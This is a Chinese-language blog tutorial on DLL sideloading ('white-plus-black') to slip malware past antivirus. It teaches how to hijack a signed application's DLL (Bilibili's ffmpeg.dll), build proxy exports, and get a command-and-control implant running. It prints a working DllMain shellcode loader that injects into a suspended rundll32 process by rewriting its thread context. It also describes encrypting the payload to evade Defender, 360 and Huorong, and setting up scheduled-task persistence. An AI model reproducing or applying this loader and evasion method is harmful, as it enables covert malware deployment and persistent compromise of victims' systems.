前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >白加黑免杀制作(详细)

白加黑免杀制作(详细)

作者头像
Creaper
发布2023-11-20 12:46:20
2.8K1
发布2023-11-20 12:46:20
举报
文章被收录于专栏:锦鲤安全锦鲤安全

前言

最近被微步的一篇文章吸引了,里面讲到银狐通过自解压白 exe + 黑 dll 执行截取主线程添加自启动,发现 dll 与普通的免杀有很大的不同,决定自己尝试一下,虽然我之前没有做过白加黑免杀,感觉应该不会太难,但是当我真正尝试的时候才发现很多问题,如:

  • 网上关于如何编写 dll 的资料不全或太过片面
  • 在 dll 的 dllmain 函数中执行 shellcode 导致死锁
  • 如何在 dll 中截取主线程直接上线

通过一翻努力一一解决问题,白加黑终于制作成功,但是发现即便白 exe 有 360 签名也不能过 360 的晶核模式,又通过一番寻找成功 bypass 360 晶核模式,不得不说白加黑除了制作 dll 麻烦,使用起来真是简单高效,适合有一定基础的免杀新手尝试。

本文就会从 dll 开发基础讲起,如何开发和调试 dll,到如何在 dll 中上线木马,dllmain 中上线与 exe 上线的不同,如何在 dll 导出函数中执行上线,以及可能遇见的问题如何解决等。

注:本文用到的所有辅助工具都可在文末下载,源代码仅在【深情种聚集地】小密圈中可下载。

一、dll 开发前置知识

动态链接库(Dynamic Link Library,简称 DLL)是一种 Windows 操作系统中的共享文件,包含一系列可供程序共用的函数、数据和资源。DLL 文件中存放的是各类程序的函数实现过程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从 DLL 中取出。dll 文件和 exe 文件一样都是 PE 文件。

1. VS目录结构

首先我们打开vs2022新建一个动态链接库:

可以看到有如下目录结构,可以看到有framework.h、pch.h、dllmain.cpp、pch.cpp四个文件:

(1)framework.h 文件

framework.h 文件用于包含项目中需要使用的头文件,可以看到已经默认包含了windows头文件:

(2)pch.h 文件

pch.h 是预编译标头文件,dll的导出函数应该在此处定义:

(3)dllmain.cpp 文件

dllmain.cpp 文件包含程序的入口点,在 dllmain.cpp 中实现的在 pch.h 中定义函数,当然也可以在其他 cpp 文件中实现,如 pch.cpp 等。

2. 入口函数(DllMain)

DllMain是动态链接库的可选入口点。当系统启动或终止进程或线程时,它会使用进程的第一个线程为每个加载的 dll 调用入口点函数。当 dll 使用 LoadLibrary(Ex) 加载和使用 FreeLibrary 函数卸载 dll 时,系统还会调用该函数的入口点函数。

(1)DllMain 示例

DllMain函数结构如下:

代码语言:javascript
复制
/*
* hModule:DLL模块句柄
* ul_reason_for_call:调用函数的原因
* lpReserved:保留参数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
      case DLL_THREAD_ATTACH: // 当线程被创建时调用
      case DLL_THREAD_DETACH: // 当线程结束时执行
      case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
            if (lpvReserved != nullptr)
            {
                break; // lpvReserved为非空时,表示进程被终止,不做任何清理
            }
            // 执行必要的清理
          break;
    }
    return TRUE; // DLL_PROCESS_ATTACH成功
}
(2)DLL_PROCESS_ATTACH

当一个 dll 文件被映射到进程的地址空间时,系统调用该 dll 的 DllMain 函数,传递的 fdwReason 参数为DLL_PROCESS_ATTACH,该值只会被传递一次。

一个程序要调用DLL里的函数,首先要先把DLL文件映射到进程的地址空间。要把一个 dll 文件映射到进程的地址空间,有两种方法:静态链接(.lib)和使用 LoadLibrary(Ex) 方法加载的动态链接。

(3)DLL_PROCESS_DETACH

当 dll 被从进程的地址空间解除映射时调用。

以下情况 dll 会被从进程的地址空间中解除映射:

  • 调用 FreeLibrary
  • 进程结束
  • 传入 DLL_PROCESS_ATTACH 的 DllMain 返回 FALSE

如果调用了 TerminateProcess() 终结进程,则不会传入 DLL_PROCESS_DETACH 做任何清理工作。

(4)DLL_THREAD_ATTACH

当进程创建一线程时调用,与 DLL_PROCESS_ATTACH 不同,该值可被多次调用。

当进程创建一线程时,系统查看当前映射到进程地址空间中的所有 dll 文件映像,并用值 DLL_THREAD_ATTACH 调用 dll 的 DllMain 函数。新创建的线程负责执行这次的 dll 的 DllMain 函数,只有当所有的 dll 都处理完这一通知后,系统才允许进程开始执行它的线程函数。

(5)DLL_THREAD_DETACH

当线程调用了 ExitThread 来结束线程(线程函数返回)时调用。如果调用了 TerminateThread() 终结线程,则不会传入 DLL_THREAD_DETACH 做任何清理工作。

3. DllMain 函数名修饰-APIENTRY

根据宏定义:

代码语言:javascript
复制
#define CALLBACK __stdcall   // WIN32编程中的回调函数类型
#define WINAPI __stdcal
#define WINAPIV __cdecl
#define APIENTRY WINAPI   // DllMain的入口就在这里
#define APIPRIVATE __stdcall
#define PASCAL __stdcall

APIENTRY 根据宏定义#define APIENTRY WINAPI 以及#define WINAPI __stdcall 可知 APIENTRY 是属于 __stdcall 调用约定。

__stdcall 是一种函数调用约定,函数调用约定主要约束了两件事:参数传递顺序、调用堆栈由谁 (调用函数或被调用函数)清理。常见的函数调用约定有:__cdecl、__stdcall、__fastcall、__thiscall,其中 __cdecl 是 C\C++ 的默认调用约定,__stdcall 是 Windows API 的默认调用约定。

4. 静态链接库(.lib)

在编译动态链接库(.dll)时还会输出相应的静态链接库(.lib):

lib 文件中包含一些索引信息,记录了 dll 中函数的入口和位置,lib 用于在开发编译时使用,dll 则在运行时使用。

在开发程序时使用 lib 需要两个文件:

  • .h 头文件,包含 lib 中说明输出的类或符号原型或数据结构。
  • .lib 文件。

如果你将导出函数定义在 pch.h 文件中,那么开发时就使用如下代码包含这两个文件,当然不要忘记将这俩个文件复制到 dlltest 项目下:

代码语言:javascript
复制
#include "pch.h"
#pragma comment (lib, "Dll3.lib")

这样在开发时就可以直接使用 Dll3.dll 中的导出函数了,不需要使用 LoadLibrary 导入 dll,程序执行后会自动寻找相应的 dll 并导入。

5. 函数名修饰

在编译器编译期间会对函数名进行修饰,以方便其他工具和程序通过函数名获取到函数的定义和原型,部分程序或工具有时需要指定函数名修饰来定位函数的正确位置。大多数情况下我们并不需要知道函数名修饰,程序或工具会自动区分他们。

(1)导出函数名修饰规则

C 和 C++ 的导出函数名修饰规则不同,根据不同的调用约定有不同的修饰方法,见下表:

可以看到 C++ 比 C 的函数名修饰规则复杂了很多,但也能传递更多的信息。

(2)去除函数名修饰

函数名修饰可能导致以下问题:

  • 由于 C 和 C++ 函数名修饰规则的不同,vs 会根据文件名后缀是 .c 还是 .cpp 选择不同的编译方式,使用 C 的编译的 .lib 在 C++ 程序中调用和使用 C++ 编译的 .lib 在 C 程序中调用可能会出问题,如约定不匹配导致的堆栈异常等。
  • 由于有函数名修饰,在其他程序中使用 GetProcAddress 时以原函数名无法获取到函数,必须使用修饰后的函数名。

由于 C 对于 ___cdecl 约定的输出函数,函数名会保持原样。为了解决以上问题,最简单的方法就是在函数前面加上extern "C",告诉编译器该方法以 C 语言编译,同时让 C++ 编译器知道它是使用 C 语言编译,这样 C 和 C++ 都能正常调用该函数,在其他程序中使用 GetProcAddress 时也能以原函数名获取到函数。

使用 dumpbin 查看未使用extern "C"时的导出函数:

使用extern "C"时32 位的导出函数:

可以看到 32 位的函数名保持了原样输出,不过括号内还是以 __cdecl 约定修饰的 _sum。

使用extern "C"时64 位的导出函数:

可以看到 64 位的导出函数名保持了原样输出,不过括号内函数名也保持了原样。

二、dll 开发和调试

1. dll 开发

首先使用vs2022新建一个动态链接库,然后在 pch.cpp 中编写一个导出函数:

然后在 pch.h 中定义该函数,定义代码如下:

代码语言:javascript
复制
#ifdef Dll3_EXPORTS
#define API_DECLSPECKM    __declspec(dllexport)
#else
#define API_DECLSPECKM    __declspec(dllimport)
#endif

extern "C" API_DECLSPECKM int sum(int a, int b);

前面这段宏定义的意思是如何定义一个了宏 Dll3_EXPORTS 则定义 API_DECLSPECKM 为 __declspec(dllexport) 反之则定义 API_DECLSPECKM 为 __declspec(dllimport)。

注意,第一个宏 Dll3_EXPORTS 的名称就是 dll 的名称 Dll3 后面加上 _EXPORTS。

定义导出的函数需要使用 __declspec(dllexport) 或 __declspec(dllimport) 进行修饰,无论使用哪一个都可以编译成功,但是它们有一些细微的差别,其中 __declspec(dllimport) 比 __declspec(dllexport) 通用性更好,所以默认一般是使用 __declspec(dllimport) 进行修饰。

这样只有一个导出函数的 dll 就编写完成了,点击[生成]->[生成 dll]:

2. dll 导出函数查看

(1)使用 dumpbin 查看

dumpbin 是 vs 自带的一款工具,可以查看 obj 文件、lib 库、dll 库、exe 执行文件,使用方法如下:

代码语言:javascript
复制
# 查看 dll 库中包含哪些函数
dumpbin /exports a.dll
# 查看 exe 中加载了哪些动态库
dumpbin /imports a.exe
# 查看 lib 库中包含哪些函数
dumpbin /all /rawdata:none a.lib
# 查看 obj 文件中包含哪些函数
dumpbin /all /rawdata:none d.obj
# 查看 dll 头信息
dumpbin /headers a.dll

在开始菜单的 vs2022 目录下找到 Developer Command Prompt for VS 2022 命令行工具并打开:

输入 dumpbin /exports Dll3.dll 查看 Dll3.dll 的导出函数:

可以看到导出了一个函数 sum,其索引为 1。

使用 dumpbin /headers Dll3.dll 查看其头信息,可以看到这是一个 32 位的 dll:

(2)使用 Dependencies 查看

Dependencies 是对旧版软件 Dependency Walker 的重写,支持 windows10 以上系统。在 github 上可以下载。

双击 DependenciesGui.exe 启动:

打开后直接将 dll 拖入窗口即可:

点击 Dll3.dll 即可查看其导入和导出函数:

3. dll 调试

由于 dll 不能直接运行,因此在 vs 中无法直接对 dll 进行调试,需要新建一个 exe 项目进行调试。

右键【解决方案】->【添加】->【新建项目】:

选择控制台应用:

名称设为 dlltest:

创建后解决方案下就多了一个 dlltest 项目:

在 dlltest.cpp 中调用动态加载 dll:

注意,这时还不能直接点击运行 exe,需要右键 dlltest 选择【设为启动项目】:

这样就变会我们熟悉的 exe 调试按钮了:

点击运行顺利加载 dll 调用 sum 方法返回 1+2 的和了:

需要注意的是,每次 dll 修改后(包括打断点)都要右键 dll 项目重新生成,不然 exe 调用的 dll 还是旧的 dll。

我们打一个断点,调试运行:

顺利对 dll 进行调试:

这里对 dll 的调试就完成了,这里使用动态加载 dll 的方式进行调试,如果希望使用静态链接库进行调试,可以看参考链接 [3]。

三、白加黑前置知识

白加黑是一种利用 DLL 劫持技术来绕过安全软件的主动防御,以达到加载恶意程序的目的。通过劫持合法程序的DLL文件,将恶意代码嵌入其中,使得恶意程序能够在不被安全软件检测到的情况下运行。

1. dll 文件的搜索路径顺序

dll 加载如果指指定了 dll 文件名而没有指定具体路径一般是按照一定的路径顺序一次去搜索,如果能在搜索到正确的 dll 之前使其先搜索到我们的恶意 dll 就能造成 dll 劫持。

(1)Windows XP SP2 之前
代码语言:javascript
复制
⇓ 应用程序所在目录
⇓ 当前目录(通过 GetCurrentDirectory 获取)
⇓ 系统目录(通过 GetSystemDirectory 获取)
⇓ 16位系统目录(为了向前兼容的处理,通常不考虑)
⇓ Windows 目录(通过 GetWindowsDirectory 获取)
⇓ PATH 环境变量中的各个目录

(2)Windows xp sp2 之后

默认开启 dll 安全的搜索模式(SafeDllSearchMode),即如下注册表项被设为1:

代码语言:javascript
复制
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
代码语言:javascript
复制
⇓ 应用程序所在目录
⇓ 系统目录(即 C:\Windows\System32)
⇓ 16位系统目录(即 C:\Windows\System)
⇓ Windows 目录(即 C:\Windows)
⇓ 当前目录(当前执行文件所在目录)
⇓ PATH 环境变量中的各个目录

可以看出就是将当前目录的顺序调后了。

(3)Windows7 和 Windows2003 以上版本

取消了 SafeDllSearchMode 注册表项且默认采用 dll 安全的搜索模式的情况下又加入了 KnownDLLs 注册表项:

代码语言:javascript
复制
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

在该注册表项下的 dll 都会直接从系统目录即 System32 目录下调用加载:

2. dll 静态和动态调用的特点

dll 加载有静态调用和动态调用之分,了解其加载特点也是很重要的。

(1)dll 静态调用特点

dll 静态调用即使用(一)中 2 所说的静态链接库(lib)的方式加载。

在 exe 中使用了静态链接库方式加载的 dll 能直接在 Dependencies 和 dumpbin 等PE查看器中查看出来:

当静态链接库所需的 dll 不存在时会弹出错误提示框并提示确少的 dll:

当所需的 dll 存在,但是 dll 中不存在所需的函数时也会会弹出错误提示框并提示缺少的函数:

即静态调用时会对 dll 的导出函数进行检查,该 dll 必须包含所需的所有导出函数该 dll 才能被加载:

(2)dll 动态调用特点

dll 动态调用即使用 LoadLibrary(Ex) 函数加载的 dll 了。

dll 动态调用和静态调用相反,无法直接在PE查看器中查看,且当所需 dll 不存在时不会返回任何错误,只有当调用不存在的 dll 中的函数时才会退出程序并返回错误代码:

注意:动态调用和静态调用的区别,静态调用由系统自动加载一般不会对 dll 进行校验,但是动态调用不同,一些程序为了防止 dll 劫持,会对自己的一些位置确切固定不变的 dll 进行校验,如果发现被篡改了则不会加载。

(3)DllMain 是否会执行

静态调用及动态调用时使用 LoadLibrary 函数时 DllMain 如果存在的话默认会被执行,如果动态调用使用的是 LoadLibraryEx 函数加载 dll,可以看到 LoadLibraryEx 比 LoadLibrary 多了一个参数 dwFlags:

代码语言:javascript
复制
HMODULE LoadLibraryExW(
  [in] LPCWSTR lpLibFileName,
       HANDLE  hFile,
  [in] DWORD   dwFlags
);

根据微软定义,如果 dwFlags 取值为 DONT_RESOLVE_DLL_REFERENCES 则不会执行 DllMain 函数,也就同样无法利用 DllMain 上线:

使用 LoadLibrary 将 DLL 追加到进程中,但没有相应地调用 FreeLibrary 函数,则值为 DLL_PROCESS_DETACH 的入口点函数将不会被调用。

四、白加黑制作

1. 白名单程序选择

白名单程序一般是指有正规签名的程序,这里以哔哩哔哩为例:

只要有正规签名的程序一般都或多或少都有一定的白名单权限,权限有大有小,具体看该程序相对于杀软来说的重要程度,该程序越重要白名单权限越高。

部分程序即便有正规签名也会被杀软重点监控如有微软签名的 Procdump。

2. 可劫持 dll 查找

选择好白名单程序之后,接下来就要查看其是否有我们可劫持的 dll 了。如何让其加载我们的 dll 跟 dll 的搜索路径顺序有关,不过不是很重要,一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。可劫持 dll 查找按照 dll 静态调用和动态调用方式分为静态查找和动态查找。

(1)静态查找

一种方法是通过静态调用的特点去查找,将 exe 移动到另一个位置,执行时会提示找不到 dll:

另一种方法是通过 PE 查看器去查找,将 exe 直接从安装位置拖入 Dependencies,注意一定要从安装位置拖入,不然看不到当前路径加载的 dll:

可以看到了加载了 ffmpeg.dll,以及很多系统 dll。

一般情况下,我们只能利用当前路径下的 dll,即 ffmpeg.dll,但有时也能劫持系统 dll,个别系统 dll 也会从当前路径加载,当然,这部分只能通过动态查找才能发现。

(2)动态查找

静态查找只能找到一小部分的 dll,要想找到所有 dll 必须依靠动态查找。

动态查找即直接执行 exe,通过进程监视器(ProcessMonitor)查看其调用了那些 dll。ProcessMonitor 是微软的一款 Windows 高级监控工具,可显示实时文件系统、注册表和进程/线程活动。

由于我主机上没有安装 ProcessMonitor,因此我需要将 exe 拖到虚拟机中执行。

先打开 ProcessMonitor,可以看到有很多程序及大量 API 调用,如果我们不设置过滤器的话,短时间内就会积累大量数据,导致电脑卡顿:

点击工具栏中的 Filter 打开过滤器:

添加一条过滤项 Process Name is 哔哩哔哩.exe,即只查看哔哩哔哩的 api 调用:

然后执行哔哩哔哩就只显示哔哩哔哩的 api 调用了:

但是数据还是很多,我们要筛选出关于 dll 加载的 api。

继续添加过滤器:

然后就可以看到全是 dll 的加载数据了,Path 项显示了 dll 的加载路径,Result 项下面显示 NAME NOT FOUND 表示 dll 加载没有发现:

对数据进行再一次的过滤,一般我们只关注从当前目录下加载的 dll,这些 dll 才是可以利用的。

我把 exe 拖到桌面了,因此添加过滤项 Path begins with C:\Users\Anonymous\Desktop,这里路径换成自己的路径,筛选 dll 加载路径在桌面下的 dll:

然后就筛选出了所有在当前路径加载的 dll,可以看到有部分名称全大写的系统 dll 也从当前路径加载,按理论来说系统 dll 应该优先从系统目录下加载的,但事实是部分系统 dll 会直接从当前目录加载,原因不明:

注意,这里并不是全部,部分 dll 需要依赖于另一个 dll,比如说有 dll1 和 dll2,dll2 依赖与 dll1,只有 dll1 加载成功才会加载 dll2,由于这里的 exe 不在安装路径因此 dll1 必定加载失败,也就不会显示 dll2,因此最好在安装路径运行 exe 进行动态查找,这样不会漏了 dll。

3. 黑 dll 编写

(1)导出函数上线

这里选择使用 ffmpeg.dll 制作黑 dll,ffmpeg.dll 是被静态链接的。

使用 vs 创建一个动态链接库工程,项目名为 ffmpeg,然后在 DllMain 中弹一个 MessageBox 测试能否在 DllMain 中上线:

然后随便写一个导出函数,什么函数都行,必须要有导出函数,否则静态链接该 dll 时会直接报 0x000007b 错误:

这里参照前面的 dll 开发:

编译时要特别注意一下劫持的 dll 与我们编译的 dll 位数是否相同,不相同执行时也会直接报 0x000007b 错误:

执行时并没有执行 DllMain 函数弹窗,而是提示无法找到 av_buffer_create,静态调用时会对 dll 的导出函数进行检查,该 dll 必须包含所有必需的导出函数该 dll 才能被加载:

要通过导出函数上线,这里要用到另一款工具——集成 aheadlib 插件的 Dependencies。该工具用的是旧版的 Dependencies,在显示 vs 编译的 64 位 dll 的导出函数时可能会无法显示导出函数。

打开集成 aheadlib 插件的 Dependencies,将要劫持的 dll 拖入工具,可以看到这里有 54 个导出函数,自己一个一个写肯定是很麻烦的:

右键该 dll,点击 AHeadLib Codegen 将函数模仿导出到指定文件夹:

可以看到导出了则几个文件,它们的具体作用后面再说:

打开其中的 .c 文件,将其中的 linker 全部复制:

复制到 pch.cpp 中:

把之前随便写的导出函数删了:

在 pch.cpp 中新写一个函数,并弹一个 MessageBox,记得加上extern "C"

将高亮的部分替换成我们新写的函数名:

我这里嫌麻烦,直接用正则替换了:

替换后,当对 exe 调用该 dll 的任意一个导出函数都会执行我们的 run 函数。

注意:替换的函数名要符合导出函数名修饰,使用extern "C"以 c 格式修饰在 64 位下函数名保持不变即 run,在 32 位下函数名前多了一个“_”,即 _run:

然后编译:

使用 Dependencies 查看一下导出函数,可以看到成功导出了函数,用这种方法比我们一个一个弄导出函数要快很多:

运行 exe,发现只有 DllMain 中的弹窗被执行,导出函数中的弹窗并没有被执行:

这是因为程序必须完整的加载所有 dll 后才会调用 dll 中的导出函数,而我们只有一个 exe 和 dll,缺少了大量 dll。

当我们将黑 dll 放回原程序文件夹后,执行 exe 导出函数被调用成功弹出窗口:

发现叉掉弹窗后 bilibili 还是能被正常打开,唯一的问题是视频无法播放:

在导出函数中随便写一个加载器,切换 Release 模式编译:

拖到 exe 安装目录,太简单了直接被 defender 查杀了:

使用动态 key 加密 shellcode,该动态 key 目前还没有杀软能够检测:

成功过静态查杀:

动态 gg:

当然 defender 不是我们免杀的重点,先将 defender 关了,再运行测试能否执行上线。

成功执行上线:

(2)DllMain 上线

在导出函数上线一般需要所有安装 dll 同时存在,所以并不常用,常见的是直接在 DllMain 中上线。DllMain 上线与在导出函数中上线有很大不同,在导出函数中上线直接使用普通的 shellcode 加载器就行了,但 DllMain 中上线则不同。

根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:

如果还使用之前的加载器上线,在调试时你会发现程序一直在运行但迟迟没有上线,一般这种情况是造成死锁了,由于 shellcode 中调用了 Sleep 和 LoadLibrary 等函数。

这里使用一段网上找的可以在 DllMain 中上线的加载器:

代码语言:javascript
复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
using namespace std;

unsigned char payload[] = "\xfc\xe8...";
unsigned int payload_len = sizeof payload - 1;

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH: {
    char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
    memcpy((void*)v7A, payload, payload_len);

    struct _PROCESS_INFORMATION ProcessInformation;
    struct _STARTUPINFOA StartupInfo;
    void* v24;
    CONTEXT Context;
    memset(&StartupInfo, 0, sizeof(StartupInfo));
    StartupInfo.cb = 68;
    BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
    if (result)
    {
      Context.ContextFlags = 65539;
      GetThreadContext(ProcessInformation.hThread, &Context);
      v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u);
      WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL);
            // 32 位使用 Context.Eip = (DWORD_PTR)v24;
      Context.Rip = (DWORD_PTR)v24;
      SetThreadContext(ProcessInformation.hThread, &Context);
      ResumeThread(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hThread);
      result = CloseHandle(ProcessInformation.hProcess);
    }

    TerminateProcess(GetCurrentProcess(), 0);
  }

  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

通过 CreateProcess 创建一个 rundll32 进程并在其内存中分配内存写入 shellcode,并通过修改其程序计数器 Rip 指向写入的 shellcode 地址,然后恢复线程执行 shellcode。也就是说并没有在 DllMain 中上线而是在其他程序中上线。

老样子添加动态key:

测试一下能否成功上线:

上传 VT 查了一下,一般般还行:

简单调试一下,轻松全免杀:

360、火绒查杀通过:

执行也成功上线:

测试一下能否添加计划任务:

添加计划任务成功:

也能注入进程,说明成功 bypass 360 晶核模式了:

不过这个加载器有个缺点,即需要在外部程序中上线,银狐的 dll 通过截取主线程直接在 exe 中上线了,我虽然不知道银狐如何截取主线,但通过 hook 主线程也能达到同样的效果:

(3)dll 中续

前面的区域~以后再来探索吧~

五、最后

白加黑简单的说还是更适合做权限维持。

写了两年半终于写完了,能给我个点赞加个关注吗😵🙏。

工具下载

关注公众号回复:

30702

参考链接

[1] https://blog.csdn.net/weixin_46967682/article/details/120558278

[2] https://learn.microsoft.com/zh-cn/windows/win32/dlls/dllmain

[3] https://zhuanlan.zhihu.com/p/564538204

[4] https://blog.csdn.net/zhihu008/article/details/7787004

[5] https://blog.csdn.net/qq_41023270/article/details/109208137

[6] https://www.cnblogs.com/yxysuanfa/p/6984895.html

[7] https://blog.csdn.net/ucliaohh/article/details/128324744

[8] https://blog.csdn.net/iBliBiliBelieve/article/details/83614820

[9] https://mp.weixin.qq.com/s/-OFZ_kXGPBN8iQo9nN1l6A

[10] https://mp.weixin.qq.com/s/w7zUQc5fWDNDR8JhyGFzgg

[11] https://mp.weixin.qq.com/s/PSaHfOPHB3nTLBLsi_Yq5A

[12] https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-best-practices?redirectedfrom=MSDN

[13] https://mp.weixin.qq.com/s/aVrm6llWkS6PrimNghpyow

锦鲤安全

一个安全技术学习与工具分享平台

点分享

点收藏

点点赞

点在看

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-07-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 锦鲤安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一、dll 开发前置知识
    • 1. VS目录结构
      • (1)framework.h 文件
      • (2)pch.h 文件
      • (3)dllmain.cpp 文件
    • 2. 入口函数(DllMain)
      • (1)DllMain 示例
      • (2)DLL_PROCESS_ATTACH
      • (3)DLL_PROCESS_DETACH
      • (4)DLL_THREAD_ATTACH
      • (5)DLL_THREAD_DETACH
    • 3. DllMain 函数名修饰-APIENTRY
      • 4. 静态链接库(.lib)
        • 5. 函数名修饰
          • (1)导出函数名修饰规则
          • (2)去除函数名修饰
      • 二、dll 开发和调试
        • 2. dll 导出函数查看
          • (1)使用 dumpbin 查看
          • (2)使用 Dependencies 查看
        • 3. dll 调试
        • 三、白加黑前置知识
          • 1. dll 文件的搜索路径顺序
            • (1)Windows XP SP2 之前
            • (3)Windows7 和 Windows2003 以上版本
          • 2. dll 静态和动态调用的特点
            • (1)dll 静态调用特点
            • (2)dll 动态调用特点
            • (3)DllMain 是否会执行
        • 四、白加黑制作
          • 2. 可劫持 dll 查找
            • (1)静态查找
            • (2)动态查找
          • 3. 黑 dll 编写
            • (1)导出函数上线
            • (2)DllMain 上线
            • (3)dll 中续
        • 五、最后
        • 工具下载
        • 参考链接
        相关产品与服务
        命令行工具
        腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档